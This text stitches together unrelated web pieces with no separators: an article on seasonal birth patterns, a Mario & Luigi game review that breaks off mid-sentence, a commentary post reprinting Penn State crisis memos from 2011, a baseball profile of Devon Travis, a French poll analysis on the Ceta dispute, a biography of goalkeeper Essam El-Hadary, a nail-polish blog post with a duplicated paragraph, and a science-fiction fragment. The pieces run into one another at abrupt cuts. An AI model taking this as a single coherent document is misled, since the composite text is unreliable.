While it is easy to attribute this to the long-held assumption that colder temperatures lead us to find warmth in physical intimacy, possible scientific explanations are a bit more complex.
According to a study published in The Journal of Reproductive Rhythms, the ideal time of the year to conceive is when the sun is out for 12 hours and the temperature is between 50 and 70 ° F. For reasons that are not totally understood, these are the perfect conditions for conception, either because they stimulate sperm production or ovulation--or a combination of both.
The findings of other studies have also been consistent with the insights gleaned from this heat map. For example, a comprehensive analysis of human birth seasonality published in the Proceedings of the Royal Society B concluded that peak birth months occur later in the year the farther south you travel, as clearly seen in the graph below.
Boer Deng, in her article for Slate, also did the math and concluded that countries in northern latitudes were conceiving babies more often during the fall, while those farther south were doing so during the winter, which is also somewhat consistent with our findings.
Other studies such as this one on the seasonal variations in sexual activity concluded that there is in fact an “increase in sexual activity and unsafe sex occurring at or around the Christmas period.” Even an analysis of Google searches, as a proxy measure of sexual activity, indicates that queries related to sex and mating behaviors peaked during the winter and early summer.
All this seems to indicate that there is a confluence of factors, both environmental and biological, at work here and that, in the end, we may not be able to pinpoint one exact reason why these patterns exist.
What we can know for sure is that even though it appears humans may have a quasi-mating season, it is not really a true one as women are receptive to sex year-round and ovulate every 28 days, not annually. Unlike other animals, humans have concealed ovulation because they don't show any outward sign of biological fertility, which is still a mystery to scientists.
Methodology
To create the heat map above, we filtered the latest UN data on live births by month to obtain figures between 2000 and 2015 (which is the time period with the greatest amount of data for all countries listed).
In order to account for differences in the number of days in each calendar month, we then calculated the average number of live births per day in each month and ranked every month of the year relative to each other.
For example, for the United States, the average number of live births per day for each month was calculated. Each month was then ranked relative to each other in terms of the average number of live births per day, from highest to lowest. Since the month of September registered the greatest average number of births per day for this time period, it was assigned a ranking of 1; August exhibited the second highest total, and so received a ranking of 2; and so on.
The heat map was then created using a color scale corresponding to the rank value of each month, from 1 to 12. This way, the color-coded visualization would allow for easy comparisons across countries and hemispheres. Otherwise, the vast disparities between live birth numbers from one country to another would generate a color scale too broad in scope that would not allow for quick visual comparisons by viewers.
Your Turn
What are your thoughts on these conception and birth trends? Do you think other external factors besides climate and season are involved? Let me know in the comments section below!Nintendo's portable gaming has a special place in the industry, a challenge the company will need to tackle in the years to come should it stick with a single 'hybrid' device in the form of the Switch. Nintendo's dedicated handhelds have consistently had games unique to that on-the-go space, with the Mario & Luigi series among them. It's graced the Game Boy Advance, DS and 3DS with multiple bizarre and quirky games, full of daft premises, witty gameplay and oodles of charm.
It all started with Mario & Luigi: Superstar Saga, and so it's somewhat fitting that the grand original by AlphaDream gets a second life with the slightly awkwardly titled Mario & Luigi: Superstar Saga + Bowser's Minions. It's a full remaster in that, aesthetically, it's a complete overhaul from the original, bringing it up to current-day standards while retaining its defining qualities. We'll start off with a fresh look at what makes this game tick before getting to what this 3DS version does differently.
Considered by some to be a spiritual successor to Super Mario RPG: Legend of the Seven Stars, this first game in the Mario & Luigi series establishes some key things - the dual button control scheme, timing-based combat, and that villains are comedy gold. Though to be fair, the whole game is about humour. The cast of the Mushroom Kingdom and Beanbean Kingdom (where the game mostly plays out) are straight out of a comedy show, full of snappy lines and laugh-out-loud dialogue. Superstar Saga set the tone for all of the gems that followed and, in terms of its storytelling in particular, hasn't aged a bit.
The plot here, and its structure, arguably place it among the best the series has offered. New foes Cackletta and fan-favourite Fawful supposedly steal Princess Peach's voice; the famous Bros. and the intensely arrogant - and funny - Bowser team up (briefly) to tackle the new menace. Over the course of 20 hours+ they get split up, reunite in strange ways, and go through more twists and turns than a race car in Monaco. We meet some memorable new characters, and are also introduced to AlphaDream's spin on familiar mascots, with this game throwing in plenty of cameos along with fresh faces. It's clever writing, too, as it has the visual hooks and silliness to amuse young players, but also the self-referential wit to make big kids like this reviewer laugh.
As for the actual gameplay, it takes shape as any logical Mario RPG would. You explore the overworld, picking fights or dodging them if you prefer, gradually solving puzzles to explore the world and advance the story. Naturally the series has its own spins - first and foremost is the dual control mechanic. For the most part Mario & Luigi move together but jump independently with the A and B buttons, with X conveniently making them jump together. When you go into battle they operate independently, but you use timed button presses for a combination of attacks, dodges and counter-attacks. The centrepiece set of moves in combat are called Bros. Attacks, in which the two heroes work together on extravagant, powerful and goofy assaults.
It's a formula that was evidently nailed on day one, as it works as well here as it does in its various sequels. Those that have only played more recent entries in the series will also recognise a number of the overworld / exploration moves the brothers can pull off. Early on they're simple things like a high jump, but by the end Luigi will be electrocuting Mario to get through small spaces, or they'll hammer each other into smaller or mole-like forms. The design is fantastic, as moves and abilities are gradually unlocked to match circumstances; they feel easy and intuitive to execute.
It all unfolds over a fairly lengthy adventure, though those that felt more recent entries like Mario & Luigi: Paper Jam were padded out or thin on engaging characters will enjoy the relative brevity and diversity here. As is now the series' style it likes |
showed the low-IQ spinjobbing you've come to expect from some unaware inhabitants of the Happy Valley snow globe. There was celebratory talk about "taking control of the narrative" and how "No Penn State terms appear on Google's Top 20 search terms for second day in a row." A little premature, no?
There was also a list of talking points given to volunteers reaching out to the school's donors. Clearly, keeping the money spigot open after Sandusky was arrested was among the foremost objectives of PSU administrators, as would be the case at any big school. It just feels so unctuous in this instance, especially when you consider that Penn State is a wealthy school thanks, in no small part, to its football program. Regardless, we now have the memos and, because we are not the AP, will post them verbatim herein. We'll start with the talking points. After that come several e-mails from new PSU president Rodney Erickson to the school's trustees.
The talking points:
Discussing the Recent Events with Penn State Donors As you reach out to your top donors and respond to e-mails, phone calls, and letters from your other constituents, it is important to communicate clear and consistent messages about the University's response to the crisis and about the role that our supporters can play going forward. The following talking points can serve as a guide in these difficult conversations. If you would like direction on a donor question or issue not addressed below, please contact your unit's development officer. The legal case and the actions of the Board of Trustees
•The deepest concern of the Penn State community is the physical, emotional, and psychological health of the children who may have been impacted by the crimes alleged in the case.
•Our campuses must be safe, supportive places where young people can grow and thrive, and every step that the Board of Trustees and President Erickson are taking is directed toward that goal.
•We are at the beginning of a long and complex legal process; as a result, we must strive to reserve judgment until that process has run its course.
•At the same time, the Board of Trustees believe that it is vital to take action now to begin restoring public trust in the University.
•They have appointed a special committee to determine what failures occurred, who is responsible, and what measures are necessary to ensure that such failures cannot happen in the future and that those responsible are held fully accountable.
•This will take time, but when the investigation is completed, a full report will be made public. President Rodney Erickson and his promises to the Penn State community
•Dr. Erickson has served as executive vice president and provost (chief academic officer) of the University since 1999.
•He is a graduate of the University of Minnesota and the University of Washington, and he joined Penn State's faculty in 1977.
•He has publicly committed himself to showing the nation and the world that Penn State cares and that our community will move forward with a shared sense of purpose.
•He has announced five key promises: reinforcing the moral imperative of doing the right thing, leading by example, providing transparency to the fullest extent possible, fostering healing for the victims of abuse and awareness of the issue in our community, and supporting the investigation of the special committee.
•To fulfill these promises, he is appointing a University-wide ethics officer, revisiting all policies to ensure that they meet not just legal standards but Penn State standards, and providing meaningful and timely updates to the entire community.
•His messages can be found at live.psu.edu. The response of the Penn State student body
•The disappointing actions of some students on campus and in downtown State College immediately following the Board of Trustees' announcement regarding the status of President Spanier and Coach Paterno reflect how important these leaders have been to our institution and how strongly our students connect their sense of self with Penn State.
•In the days since, thousands of undergraduates have channeled those feelings into more positive actions, including a candlelight vigil for the victims of abuse.
•At the Nebraska game, our student-athletes demonstrated a level of maturity and determination that was an inspiration.
•Penn State students are recognizing that the eyes of the nation are on them, and it's up to them to show what it really means to be a Penn Stater. The response of Penn State's supporters
•Our alumni and friends are also standing up for the values and the institution that we all believe in.
•The University has received thousands of emails expressing anger and sadness at the allegations and their aftermath, but also expressing the belief Penn State will learn from and transcend this crisis.
•The overwhelming majority of our leading donors have made public statements affirming their faith in the University and its future, including Terry and Kim Pegula, who made the largest gift in our history with their $88 million commitment to launch NCAA ice hockey at Penn State, and Pat and Candice Malloy, who endowed the head football coach's position.
•Students calling donors through our Lion Line program have received new commitments and strong messages of support, and Lion Line just had one of the most successful nights in its history.
•Donors are recognizing that Penn State needs their support more than ever, as we work to rebuild our national reputation for integrity, opportunity, and excellence. If you hear from a donor who is considering withdrawing past and/or future support
•This crisis has been a moment of introspection for all of us who have served and supported the University.
•Gifts to Penn State represent a permanent commitment to our students, faculty, and programs.
•It has been our institution's policy not to refund gifts, and that policy remains in place even as the Penn State community shares your anger, sadness, and frustration at this complex and tragic situation.
•We hope that those who are planning to withdraw their support will reconsider their decision and regard gifts as an investment in helping Penn State to move forward. What we can all do to help
•The campaign's top priority-keeping a world-class education within reach for students from every economic background-remains as important today as it was before news of the case broke.
•We need to refocus our attention and our aspirations on what we can do to make this a better, prouder, and stronger institution for new generations of Penn Staters.
•We will continue to pursue the goals and vision of For the Future: The Campaign for Penn State Students.
•You can be a powerful ambassador for the campaign, for our institution, and for our students. Through your leadership and your support, you can show the world what it really means to be a Penn Stater.
Advertisement
My favorite part of that dreck is the bit about how the "disappointing actions of some students" after the trustees canned Paterno and Spanier "reflect how important these leaders have been to our institution and how strongly our students connect their sense of self with Penn State." That's good. We can call use that. No, officer, you don't understand. I might be rioting, but that only demonstrates how strongly I connect my sense of self to my community.
On to the e-mails. We begin with an update from Erickson nine days after Sandusky's arrest. Here's where he talks about controlling the narrative and relays the media metrics he seems to think bode well for the school. All boldface is mine:
————— Forwarded message —————
From: "Ammerman, Paula"
To:
Cc:
Date: Mon, 14 Nov 2011 18:50:04 -0500
Subject: Update from President Erickson
President Erickson asked that I distribute the below message for your information. DATE: November 14, 2011
FROM: Rodney A. Erickson
TO: Members of the Board of Trustees As discussed, it is my intent to provide updates on a regular basis. •Messages have been sent on Friday and Monday to the Penn State community to reiterate the promises and to ask them to share in their fulfillment. •Rob Pangborn will be named Acting Executive Vice President and Provost effective immediately. This will be announced publicly tomorrow. His experience and broad knowledge of all the elements of the portfolio will be a stabilizing influence on the deans and vice provosts. •Conversations have taken place regarding a change in the Acting Director of Intercollegiate Athletics; I am close to a final decision and I hope to be able to share that news with you tomorrow. •I conducted media interviews with ABC and CBS this morning. The feedback I received has been positive and we are moving forward with the business of educating our students, our primary mission. This is another indication that we are taking control of the narrative of our story. •Meetings between University Relations and Athletics Communications have taken place to align our messages. •Counseling and Psychological Services has ramped up its services available for those who may need support due to prior sexual or other assaults. Employees are encouraged to access the services available via the Employee Assistance Program if they have a time of need. •I met again today with President's Council to receive updates on the initiatives we identified yesterday. •I also met with the students leaders from Commonwealth Campus Student Governments, the University Park Undergraduate Association, and the Graduate Student Association to encourage their partnership in helping to move the University forward. A few interesting media metrics that you may find of interest: —Blogs, tweets, news stories, facebook postings, YouTube videos, etc., on the Internet drop 50 percent from yesterday to today. This is down 90 percent since last Thursday. —Review of Top 20 search terms on Google today shows no Penn State terms on that list for the first time in nine days.
Advertisement
Update two, in which Erickson talks again about media metrics, which now appear to reflect a loss of control of the narrative:
————— Forwarded message —————
From: "Ammerman, Paula"
To:
Cc:
Date: Tue, 15 Nov 2011 17:37:42 -0500
Subject: Update 2 from President Erickson
President Erickson asked that I distribute the below message for your information. DATE: November 15, 2011
FROM: Rodney A. Erickson
TO: Members of the Board of Trustees
RE: UPDATE 2 As discussed, it is my intent to provide updates on a regular basis. •Public announcement has been made regarding Rob Pangborn being named Acting Executive Vice President and Provost effective immediately. Strong support has been expressed for this decision. Yvonne M. Gaudelius, Assistant Vice President and Associate Dean for Undergraduate Education, will assume those responsibilities formerly under Rob's purview, with the exception of Admissions. We're continuing to closely monitor the applications as we move forward. You will recall that Yvonne served as interim dean of the College of Arts and Architecture in 2006-07 and was named Assistant Vice President and Associate Dean for Undergraduate Education in 2007. She has an extensive background and knowledge in this area and we appreciate her willingness to assume these additional responsibilities. •Continuing conversations have taken place regarding a change in the Acting Director of Intercollegiate Athletics. That news will be shared with you tomorrow. •I met with the University Faculty Senate Officers today. They are devoting extra time for me to address the faculty at the next meeting on December 6. A forensic session will also be available for the faculty senators to discuss this topic. Since our morning meeting, it was announced that a special meeting of the University Faculty Senate is planned for Friday, November 18. The sole agenda item for this meeting is to adopt a statement to express the Senate's sympathy for the victims of child abuse; endorse the independent inquiry commissioned by the Board of Trustees; and express the Senate's commitment to working with the President to restore public trust in our University. •Personal messages have been sent from deans and chancellors to their constituencies providing reassurance and forward motion of the business of the University. These messages are being well received. •A letter to students will be sent from Damon Sims, Vice President for Student Affairs, providing support, advising of counseling opportunities, and general reassurance. •A letter to parents will be sent from Damon Sims with a similar message. •I have had numerous conversations today with donors and supporters and have been buoyed by their continued commitment to Penn State. •I met again today with President's Council to receive updates on the initiatives identified. •I spoke to about 700 students in an afternoon Sociology 119 class. They asked very thoughtful questions about how this will affect future job prospects; how do we relate to people we know that are involved; and how do we keep from rushing to judgment. I believe it is critical to listen to our students and I intend to keep my finger on the pulse regarding their concerns and thinking. A few interesting media metrics: —Despite new emerging angles overall Internet buzz and media coverage only increased slightly since Monday. —No Penn State terms appear on Google's Top 20 search terms for second day in a row. Overall Internet blogs, videos, Tweets, Facebook posts and news stories were 12,500 in past day, up from 8,600 on Monday, mainly focused on new story angles noted below. —Coach Bradley weekly noon press conference went fine.
Update three, in which desperate attempts to regain control of the narrative are described, including the adoption of PSU mega-flack Bill Mahon's three sagacious messages and a mysterious conversation with ESPN executives about a narrative-wrangling video:
————— Forwarded message —————
From: "Ammerman, Paula"
To:
Cc:
Date: Fri, 18 Nov 2011 20:19:51 -0500
Subject: Update 3
President Erickson asked that I distribute the below message for your information. DATE: November 18, 2011
FROM: Rodney A. Erickson
TO: Members of the Board of Trustees
UPDATE 3 As discussed, it is my intent to provide updates on a regular basis. •Public announcement has been made regarding Dave Joyner's being named Acting Athletic Director. Dave is on campus and strong support has been expressed for this decision. He conducted his first press conference as Acting Athletic Director and was well received. We are fortunate to have someone with his breadth of expertise to join our administrative team. •A new, 30 second video was recorded and is available by visiting
The video focuses on the forward movement of the University and a more hopeful side that I've seen emerge over the past several days. One that focuses on compassion, generosity, and resilience. ESPN has committed to playing the video during tomorrow's Penn State @ Ohio State game. •In our efforts to bring awareness to the appropriate reporting mechanisms, a Newswire article was placed on our Penn State web site providing contact information for the Penn State community and beyond. For the Sandusky Child Abuse Investigation, numbers were provided for the Pennsylvania Office of the Attorney General and the Pennsylvania State Policy. We also provided numbers for the Penn State police as well as the Penn State Employee Ethics and Compliance Hotline. The complete article can be found at http://live.psu.edu/story/56372 •A message was sent from Bill Mahon, vice president for University Relations, to our deans and chancellors advising of available support from the University Relations Crisis Communications team and noting future planned efforts to manage events over the next several days. I've excerpt of that message of interest: A few thoughts to keep in mind as you continue your communications with local media and your constituencies. Please reinforce three messages in your communications on behalf of the University: remorse, humility, and resolve. It is critical that we show that we are moving forward under the leadership of President Erickson. Please be sure that there is broad understanding that he is the President not the Interim President. You should refer to the "Five Promises" President Erickson made several days ago. http://live.psu.edu/story/56329 His candor, honesty, and leadership is central to our efforts. •I had positive conversations with Jim Delaney, Commissioner of the Big Ten, and with Mark Emmert, President of the NCAA. A separate communication was sent to you late yesterday advising of the NCAA's intent to examine Penn State's exercise of institutional control over the intercollegiate athletics program. •Interviews were held with the final candidate for the position of Senior Vice President for Finance and Business. We are extremely fortunate to have candidates of the highest caliber with a continuing strong interest in Penn State. I believe that I will be in a position to make an appointment soon subject to your approval in January. I've also met with the staff of Finance and Business to provide reassurances and to discuss the future of that organization. Dan Sieminski, Associate Vice President for Finance and Business, has been asked to be the unit liaison to President's Council until the appointment of the senior vice president. •President's Council has met on a daily basis to receive updates on the initiatives identified. We expect to make several announcements over the next two weeks regarding support for victims, partnerships with various agencies, research initiatives, and educational program developments. •Yesterday, I met with the Campaign Executive Committee via conference call. Our volunteer leaders remain committed to Penn State and my message was well received. I've attached a copy of the Talking Points that were developed for distribution to the various Campaign volunteer leaders and I believe that you'll agree with our message. •Damon Sims and I met with the leaders of the University Park Undergraduate Association, the Graduate Student Association, and the Council of Commonwealth Campus Student Governments—the student leaders have proposed a Student Forum to be held Wednesday, November 30. They have invited several members of the senior administrative team to be part of a moderated panel to answer questions about the future of Penn State. I believe that it's important for us to hear our students' concerns and voices. We also met with the student organizers of the "Blue Out" against Nebraska to stop child abuse. The students are interested in finding additional ways to partner with the University administration and identify opportunities for students, faculty and staff to know more about what is happening and move forward with consultative initiatives. We are enormously grateful for their support. •In a special meeting today, the University Faculty Senate passed a resolution that expresses sympathy and support for the victims, calls for an independent special committee with members unaffiliated with the University, and pledges support for the five promises and helping to restore the public trust. •We've started distributing daily Issues Updates electronically to all members of the Board—this will help to keep you apprised of the issues in the headlines and other events. —Engaged Penn State Marketing Council to help identify institution's biggest needs and areas for most immediate assistance, such as Admissions. —New video being developed to offer ESPN for Saturday. —More symbolic gameday experiences developed for Ohio State pre-game.
To note: Our in-house film guru, Tim Burke, found no trace of any conciliatory video aired by ESPN during the Ohio State game. You will nevertheless find it at the top of the post.Devon Travis is not awfully fond of the word ‘projectability.’
During the 2012 MLB Draft, the five-foot-nine second baseman watched 423 players get picked before him largely because they supposedly had it and he didn’t.
“The draft bothered me for sure, although I’m thankful it worked out the way it did in the end,” he says. “But you’re sitting there on draft day and you hear about where you’re supposed to go, or where they’re going to take you, and rounds pass and picks pass and they’re taking shortstops and second basemen. It’s tough.”
Looking back on the experience he feels the way he slid boils down to teams feeling he was too close to his ceiling as a player.
“The projectability word gets thrown around in the draft a lot of the time where smaller guys or skinnier guys that don’t really have room to grow get overlooked,” Travis says.
Instead of evaluating what players are, scouts have the far more difficult job of trying to predict what they might be in a few years. When they looked at Travis, it was hard to envision him as a big leaguer.
“Having a mature frame, being a little bit smaller and being second base-only, probably hurt him a fair amount,” says Tim Wilken, longtime scout and special assistant to Diamondbacks GM Dave Stewart.
Now Travis is having the last laugh. The 25-year-old owns a.292/.342/.475 batting line in his first 415 MLB plate appearances, plays far better defence than most expected and has already survived a gruesome shoulder injury. On a franchise with a lot of post-2016 uncertainty, he looks like a potential core piece.
So, how does a guy like that get passed in the draft a dozen times by each MLB franchise and traded straight up for a fourth outfielder type who’s now plying his trade at double-A?
For one, he is the antithesis of the man he was traded for, Anthony Gose, in the sense that he lacks loud tools. Travis will hit his fair share of home runs, but they aren’t going to be 450 foot shots to dead-centre. He can run, but he’s no Billy Hamilton. His fielding is steadier than it is flashy.
“Devon is the type of guy you’d have had to see more than once,” Wilken says. “You couldn’t walk into the ballpark and say ‘that’s a great player.'”
The problem is that scouts often only get one chance to see a player. The all-around game of someone like Travis may not stand out in a single-game sample the way a player with extraordinary speed or power would. It’s easier to spot a strength than a lack of weaknesses.
Perhaps the bigger issue is his position. Second basemen simply do not attract the same attention from talent evaluators as other “up the middle” positions like catchers, shortstops and centre fielders.
“Second basemen are generally looked at as failed shortstops,” says Jonathan Mayo, senior prospect writer for MLB.com. “They’re guys who don’t have the range or the arm to stick at short.”
Recent draft results bear out Mayo’s observation, as the last time a second baseman was selected in the first 30 picks was 2011 when Cory Spangenberg and Kolten Wong went 10th and 22nd respectively.
In their 2016 draft class the Toronto Blue Jays selected a single second baseman, Cavan Biggio, in the fifth round. Among 41 picks only three were first, second or third basemen.
One of the issues for players who make their home on the right side of second is the perceived lack of versatility.
“Once you get typecasted as second base only, that’s basically it for you,” Wilkens says.
Shortstop prospects can be moved to second or third easily depending on their evolution as ballplayers and their teams’ needs. Second basemen stay put for the most part, which gives them a single route to the big leagues and less value as bench players if they arrive.
The logic is sound, but its rigidity allows talented players to fall through the cracks. MVP candidate Jose Altuve is a perfect example of a second base-only prospect who has exceeded expectations enormously.
“I think it happens fairly regularly where these guys are not evaluated correctly, even by people like me,” Mayo says. “A great example is Altuve, he was nowhere on prospect lists. Literally nowhere.”
Even Robinson Cano, a likely Hall of Famer, was dogged by concerns about his position as a prospect. John Manuel, the editor of Baseball America, recalls having his doubts about Cano, despite his offensive prowess.
“We thought he would wind up being too big for second and wind up at third, and the scouts we talked to weren’t sure he’d hit for enough power to shine at third as a regular,” he says. “We liked him but didn’t love him; part of that was that he was a second baseman.”
There’s no reason second basemen are overlooked that’s outrageous or unreasonable. Shortstop is where the best athletes play and the best athletes usually make for better baseball players. When you’re looking for a player to contribute at the major-league level five years down the line, physical tools and versatility are a nice starting point.
That said, there are plenty of good ballplayers that make their homes at second base. They often get by on skills rather than athleticism, and it might take more than one viewing by scouts to discover them, but they are definitely worth finding.
More than a few teams could use a guy like Devon Travis.Analyse.
A la première lecture du Baromètre La Libre/RTBF/Dedicated, on constate que la popularité de Paul Magnette (PS), ministre-Président wallon, n’a pas connu de poussée extraordinaire après la crise du Ceta (traité de libre-échange entre l’UE et le Canada auquel la Wallonie s’est opposée) qui, durant deux semaines, propulsa le Carolo sur le devant de la scène nationale et internationale.
Pourtant, affirmer qu’il n’en a absolument pas profité est sans doute un peu raccourci. Que constate-t-on? Paul Magnette occupe la septième place du top 20 en Wallonie. Il était huitième il y a trois mois, huitième encore en avril 2016 et déjà septième en décembre 2015.
Cette septième place, il l’occupe pourtant en gagnant 3 %. La montée importante de Raoul Hedebouw (PTB) et les scores très proches de tous ceux qui le précèdent au classement l’empêchent de traduire cette progression de manière plus marquée. Et puis, depuis le Ceta, l’actualité internationale centrée sur la campagne aux USA et l’élection de Donald Trump a fortement renvoyé le Ceta vers le passé. Quant au CDH, on ne peut pas considérer raisonnablement qu’il ait pu profiter de quelque manière que ce soit d’un regain de popularité suite à cette crise.
Dans le Baromètre, à la question de savoir si le gouvernement wallon avait raison de s’opposer à la signature de ce traité, 41 % des gens considèrent que ce dernier était dans le bon. Vingt et un pour cent d’entre eux répondant que le gouvernement wallon avait "tout à fait raison" et 20 % considérant qu’il avait "plutôt raison". Si on se penche sur les origines régionales des répondants, c’est en Wallonie qu’ils sont les plus positifs puisque 61 % des wallons soutiennent leur gouvernement contre 55 % des Bruxellois et 26 % seulement des Flamands.
Si on se penche sur les 27 % de Belges qui considèrent que le gouvernement wallon avait "plutôt tort" ou "tout à fait tort", on constate que 39 % des Flamands se rangent à cet avis contre 17 % des Bruxellois et 10 % des Wallons. Pour information, 26 % des répondants précisent qu’ils n’ont pas suivi les négociations sur le Ceta.
De vraies améliorations
Le Baromètre interrogeait également les personnes sondées sur les améliorations éventuelles obtenues par le gouvernement wallon au bout des deux semaines de crise qui ont abouti à un accord intrabelge. Cinq pour cent des Belges considèrent que des améliorations ont été enregistrées (2 % en Flandre, 9 % à Bruxelles et 10 % en Wallonie), 24 % d’entre eux considèrent que des améliorations mineures ont été obtenues (22 % en Flandre, 29 % à Bruxelles et 26 % en Wallonie). Pour 21 % des Belges (17 % en Flandre, 21 % à Bruxelles et 26 % en Wallonie), le gouvernement wallon n’a rien obtenu mais a été contraint de valider le texte. Enfin, 19 % des Belges (25 % en Flandre, 14 % à Bruxelles et 10 % en Wallonie) considèrent que non seulement le gouvernement Magnette n’a rien obtenu mais qu’en plus il cherchait simplement à se mettre en valeur.Essam Kamal Tawfiq El-Hadary (Egyptian Arabic: عصام الدين كمال توفيق الحضرى; born 15 January 1973) is an Egyptian professional footballer who plays as a goalkeeper for Nogoom.
Nicknamed the "High Dam",[3][4] he has spent the largest portion of his club career with Al Ahly, with whom he won eight Egyptian Premier League titles, four Egypt Cups, four Egyptian Super Cups, four CAF Champions League titles, three CAF Super Cups, one Arab Club Champions Cup, and two Arab Super Cups. His other clubs have included Damietta, Sion (with whom he won the Swiss Cup), Ismaily, Zamalek, Al Merreikh (with whom he won the Sudan Premier League and the Sudan Cup), Al-Ittihad Alexandria, and Wadi Degla.
Third on the list of all-time appearances for Egypt entering the 2018 World Cup,[2] El-Hadary has made over 150 international appearances for his nation since his debut in 1996. He has won the Africa Cup of Nations four times, and was named the tournament's best goalkeeper on three occasions.[4] In the 2018 FIFA World Cup, at the age of 45 years and 161 days, he became the oldest player in history to play in a World Cup match.[5]
Club career [ edit ]
Born in Kafr al-Battikh in Damietta,[6] El-Hadary's father was a craftsman who owned his own workshop making furniture. El-Hadary took up playing football without his parent's knowledge, washing his muddy clothes in a local river after playing in order to avoid them knowing. He was spotted by his local football team before being signed by Second Division club Damietta at age 17. In his first training session, he was offered goalkeeping gloves, having previously never worn a pair, but refused to wear them and would run the 7 km to training everyday.[4] He made his first team debut for Damietta in 1993 at the age of 20, and after two seasons signed a pre-contract with Egyptian champions Al Ahly.[4] In 12 years at the Cairo club he won eight Egyptian Premier League titles, four Egypt Cups, four Egyptian Super Cups, four CAF Champions League titles, three CAF Super Cups, one Arab Club Champions Cup, and two Arab Super Cups.
Swiss club FC Sion announced that they had signed El-Hadary on a four-year contract in February 2008, despite objections from his club Al Ahly due to the fact that he was still under contract with them.[7][8] El-Hadary was fined and suspended by Al Ahly,[9] before world governing body FIFA gave permission for Sion to complete the deal.[10][11]
In 2009, FIFA suspended El-Hadary and penalized Sion,[12] even though he had already decided to return to Egypt.[13] In July, while his suspension was stayed by the Court of Arbitration for Sport,[14] El-Hadary moved to Egyptian Premier League side Ismaily.[15] In 2010, his 4 month suspension was upheld by the CAS,[16] and in January a Swiss civil court upheld the ban and fines and additionally ordered him to pay FIFA's court costs.[17][18]
In December 2010, after a brief stint with Zamalek SC, El-Hadary moved to Sudanese club Al-Merreikh.[19] After boycotting practices due to a pay dispute, he was loaned to Al-Ittihad Alexandria,[20] but after a stadium riot in Port Said led to the suspension of the 2011–12 Egyptian Premier League season he returned to Sudan again.[21][22] After his contract there expired, he returned to Egypt, playing for Wadi Degla in 2014,[23] moving back to Ismaily in 2014,[24] and returning again to Wadi Degla in 2015.[25] Throughout this period, he continued to be acclaimed one of the best footballers ever to play for Egypt or anywhere in Africa; in 2013 he was included in Bleacher Report's "50 Greatest African Players of All Time" list, ranked number 6.[26] In 2017, an argument with a teammate lead to El-Hadary being thrown off the Wadi Degla team briefly;[27][28] in June, he signed for Al-Taawoun to become the first foreign goalkeeper to play in Saudi Arabia.[29][30]
On 2 July 2018, it was confirmed that El-Hadary had joined Ismaily for the third time in his career.[31]
International career [ edit ]
El-Hadary has represented Egypt over 150 times since his international debut in 1996, winning the African Cup of Nations four times with his country. He was chosen as the best goalkeeper in the 2006 African Cup of Nations, held in homeland Egypt, in the 2008 African Cup of Nations, held in Ghana and for the 2010 African Cup of Nations, held in Angola.[32][33]
In January 2013 his agent tweeted that El-Hadary had retired from international football after being benched for a run of games, being the 23rd most capped international player in history and also the player with most African Cup of Nations titles. He returned to the national team in a match against Bosnia Herzegovina on 5 March 2014, winning 2–0.
On 4 June 2016, El-Hadary played the full 90 minutes in a 2–0 win against Tanzania which secured Egypt's qualification for 2017 Africa Cup of Nations. On 17 January 2017, two days after his 44th birthday, he became the oldest player to ever appear in an Africa Cup of Nations match after replacing Ahmed El-Shenawy in Egypt's first match of the tournament.[34] On 1 February 2017, El-Hadary saved two penalties as Egypt defeated Burkina Faso 4–3 in a penalty shoot-out to advance to the 2017 Africa Cup of Nations Final.[35]
In June 2018, at the age of 45, he was named in Egypt’s 23-man squad for the 2018 FIFA World Cup in Russia.[1] He was the oldest of all players selected for the tournament, beating the record set by Colombian goalkeeper Faryd Mondragón in the previous edition of the tournament.[36] On 25 June, El Hadary was handed a start in Egypt's final group match against Saudi Arabia to become the oldest player ever to play in and debut at a World Cup at the age of 45 years and 161 days, once again breaking Mondragón's record of 43 years and three days. El-Hadary stopped a penalty kick in the first half of the match, but subsequently conceded from a second penalty just before half time; his team eventually lost the game 1–2 after conceding a late goal in stoppage time.[37][38][39][40]
On 7 August 2018, El-Hadary announced his international retirement at the age of 45, having made 159 international appearances for Egypt.[41][42]
Career statistics [ edit ]
International [ edit ]
Statistics accurate as of match played on 25 June 2018.[2][43]
Egypt Year Apps Goals 1996 2 0 1997 9 0 1998 4 0 1999 6 0 2000 3 0 2001 6 0 2002 14 0 2003 3 0 2004 6 0 2005 5 0 2006 11 0 2007 9 0 2008 18 0 2009 16 0 2010 11 0 2011 2 0 2012 13[b] 0 2013 1 0 2014 4[c] 0 2015 0 0 2016 4 0 2017 9 0 2018 3 0 Total 159[a] 0
References [ edit ]
Notes [ edit ]Yay for the weekend guys. I want to apologize for this blogging week. I haven't been this inconsistent with my posts in a very long time. It's not even like I'm doing anything else, I'm honestly just sleeping. From the time I get home until the next day when it's time to get up from work. To break it down for you, that's over twelve hours of sleep I'm getting per night. And I'm still exhausted. So again, I want to apologize and let you know this is a habit I'm stopping right away. Okay, so let's finally get to our favorite pass time aka gawking at polish! Valentine's Day is just around the corner or Single Awareness Day. Either way, we're going to need some polishes! For today, I'll be sharing swatches for the Valentine's Day Trio by Daily Hues Lacquer.
The Valentine's Trio by
Yay for the weekend guys. I want to apologize for this blogging week. I haven't been this inconsistent with my posts in a very long time. It's not even like I'm doing anything else, I'm honestly just sleeping. From the time I get home until the next day when it's time to get up from work. To break it down for you, that's over twelve hours of sleep I'm getting per night. And I'm still exhausted. So again, I want to apologize and let you know this is a habit I'm stopping right away. Okay, so let's finally get to our favorite pass time aka gawking at polish! Valentine's Day is just around the corner or Single Awareness Day. Either way, we're going to need some polishes! For today, I'll be sharing swatches for the Valentine's Day Trio by Daily Hues Lacquer.The Valentine's Trio by Daily Hues Lacquer will be available for purchase on Monday, January 12th. Don't forget to mark your calendars and set your alarms, the trio will be limited edition.
Lololi
Kari
Davina
Overall this trio is perfect to kick-start the season of love. I love all the shades and the drastic difference between the colors is a huge plus for me. The formulas all around are very high in quality, as you might be used to with Daily Hues Lacquer. Since I've been holo crazy lately, I have to pick Kari as my must-have. Lololi comes in at a close second, especially if you don't own a similar shade. As I |
showed up in American in 2014, it was also greeted as a breath of fresh air.
A contemporary science fiction writer is supposed to somehow reach a mainstream audience, demonstrate a convincing grasp of feasible science on the page, and also pay homage to previous sci-fi. If there’s one overwhelming trend from Liu Cixin or any of the other authors in Invisible Planets, it would seem to be that they looked at all those impossible criteria and said, “Fuck it.” And then, they wrote science fiction that could be realistic, but didn’t have to be. Finally, they were having fun with the genre.
